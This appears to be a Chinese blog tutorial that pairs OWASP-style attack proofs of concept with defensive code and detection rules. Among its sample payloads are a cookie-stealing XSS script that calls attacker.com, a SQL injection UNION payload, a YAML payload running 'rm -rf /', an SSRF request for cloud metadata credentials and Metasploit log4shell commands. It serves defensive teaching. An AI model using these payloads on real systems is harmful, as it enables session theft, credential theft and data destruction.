漏洞利用与防御规则简述

🔥 攻击利用链 + 防御规则(按风险排序)

1. 失效的访问控制

PoC攻击

http 复制代码
GET /api/v1/admin/users HTTP/1.1  
Host: target.com  
Cookie: session=eyJyb2xlIjoidXNlciJ9  # 普通用户JWT

➜ 篡改JWT为管理员:eyJyb2xlIjoiYWRtaW4ifQ==
防御规则

python 复制代码
# Flask 强制角色验证中间件
def admin_required(fn):
    def wrapper(*args, **kwargs):
        if current_user.role != "admin":
            abort(403)  # 即时阻断
        return fn(*args, **kwargs)
    return wrapper

2. SQL注入(经典攻击)

PoC利用

sql 复制代码
' UNION SELECT username, password FROM users--

防御方案

java 复制代码
// 使用PreparedStatement + 正则过滤(防绕过)
String safeInput = input.replaceAll("[^a-zA-Z0-9_@.]", "");
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
stmt.setString(1, safeInput);

检测规则

  • WAF 正则:/(\bUNION\b.*\bSELECT\b|\b(SLEEP|BENCHMARK)\(.*\))/i

3. XSS(存储型)

PoC构造

html 复制代码
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

防御框架方案

react 复制代码
// React自动转义(无需额外处理)
function UserProfile({ bio }) {
  return <div>{bio}</div>; // 自动防御XSS
}

传统后端过滤

python 复制代码
# Django内置过滤器
from django.utils.html import escape
user_input = escape(request.POST["comment"])

4. 不安全的设计(密码重置漏洞)

PoC流程

  1. 访问:POST /reset-password?user=admin
  2. 拦截响应→ 修改JSON:{"token":"attacker_token"}
  3. 重设管理员密码
    防御设计

请求重置
后端生成唯一Token绑定用户ID
发送Token至用户注册邮箱
校验Token与用户ID匹配才允许修改


5. 安全配置错误(敏感泄露)

PoC利用

bash 复制代码
curl -I https://target.com
# 发现 Header: Server: nginx/1.18.0

防御自动化

nginx 复制代码
# 强制隐藏服务器信息
server_tokens off;
add_header X-Content-Type-Options "nosniff";

⚔️ 高级攻击手法(2024新增威胁)

6. 软件与数据完整性失效

PoC案例(SaltStack CVE-2020-16846)

python 复制代码
# 恶意YAML文件触发RCE
!!python/object/apply:os.system ["rm -rf /"]

防御方案

  • 校验文件哈希:sha256sum package.tar.gz

  • 使用Syft 扫描组件:

    bash 复制代码
    syft packages:scan --scope all docker:your-image

7. 服务器端请求伪造(SSRF)

PoC利用

复制代码
GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

防御规则链

  1. 网络层:防火墙阻断出站到169.254.0.0/16

  2. 代码层:

    nodejs 复制代码
    const blockedIPs = ["127.0.0.1", "169.254.169.254"];
    if (blockedIPs.some(ip => url.includes(ip))) throw new Error("SSRF拒绝");

🔍 攻击检测体系建议

分层防御规则模板
攻击类型 SAST规则(代码层) RASP(运行时) 日志监控(ELK)
SQL注入 检测未参数化查询 拦截异常SQL语法 告警' OR 1=1--等特征
文件上传漏洞 检查后缀名白名单 阻断Web根目录写入 监控/uploads/目录.php文件执行
SSRF 校验URL输入是否为内网IP 拦截访问元数据服务请求 统计异常外连(如AWS元数据URL)

⚙️ 自动化攻防工具链

  1. 攻击模拟

    • OWASP ZAP:自动化扫描API端点(含GraphQL注入测试)
    bash 复制代码
    zap-cli quick-scan -s xss,sqli https://target.com/api
  2. 防御验证

    bash 复制代码
    nuclei -t cves/ -u https://target.com
  3. 渗透测试框架

    bash 复制代码
    # 使用Metasploit测试RCE(示例)
    msf6> use exploit/multi/http/log4shell
    msf6> set RHOSTS target.com
    msf6> exploit

💡 Tips

  • 攻击规则需覆盖 3个维度:输入验证(前端)、业务逻辑(后端)、基础设施(云/网络)
  • 每季度更新WAF规则:从OWASP Core Rule Set同步最新策略
相关推荐
venus6016 天前
利用网站的漏洞解锁OJ题目
网络安全·漏洞利用·web抓包分析
clown_YZ22 天前
KnightCTF2026--WP
网络安全·逆向·ctf·漏洞利用
\xin1 个月前
渗透测试全过程实例与思路
渗透测试·漏洞利用·反弹shell·漏洞扫描·后门·渗透思路
clown_YZ1 个月前
HKCERTCTF2025--解题记录
ctf·漏洞利用·漏洞原理
云计算练习生2 个月前
渗透测试行业术语扫盲(第十篇)—— 利用与提权类术语
网络安全·信息安全·提权·漏洞利用·渗透测试术语
Whoami!2 个月前
❽⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 分析漏洞利用脚本(.c){下}
网络安全·信息安全·漏洞利用·缓冲区溢出
Whoami!2 个月前
❽⁄₁ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 缓冲区 & 栈结构
网络安全·信息安全·漏洞利用·缓冲区溢出
Whoami!2 个月前
❽⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 修改漏洞利用脚本 ➱ 缓冲区溢出攻击原理
网络安全·信息安全·漏洞利用·缓冲区溢出
Whoami!2 个月前
❼⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 实操案例(下)
网络安全·信息安全·漏洞利用